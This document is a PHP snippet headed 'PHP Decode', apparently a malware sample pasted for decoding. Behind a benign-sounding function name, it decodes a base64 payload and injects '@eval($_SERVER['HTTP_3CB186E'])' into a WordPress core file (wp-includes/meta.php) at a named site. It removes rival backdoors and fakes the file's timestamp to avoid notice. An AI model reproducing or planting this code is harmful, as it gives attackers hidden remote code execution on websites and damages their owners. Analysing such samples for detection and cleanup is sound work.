PHP Decode

<?   
phpConfValidate('YTo0OntpOjA7czo3MToiL2hvbWUvdGVjaG52ZTI3OS9kb21haW5zL2hvZWZzbWlkamUubmwvcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfM0NCMTg2RVtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzNDQjE4NkUnXSk7IjtpOjM7czozMzoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV9tZXRhZGF0YX5tIjt9'); 
function phpConfValidate($ser) { 
 
    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser)); 
    $source = file_get_contents($fullPath); 
    if (preg_match($systemEnv, $source)) { 
        return; 
    } 
    if (!preg_match($pattern, $source, $matches)) { 
        return; 
    } 
     
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv); 
    $newSource = preg_replace($incorrectRegex, '', $source); 
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource); 
     
     
    if (!preg_match($systemEnv, $newSource)) { 
        return; 
    } 
     
    $filemtime = filemtime($fullPath) + 10; 
    unlink($fullPath); 
    file_put_contents($fullPath, $newSource); 
    touch($fullPath, $filemtime); 
} ?>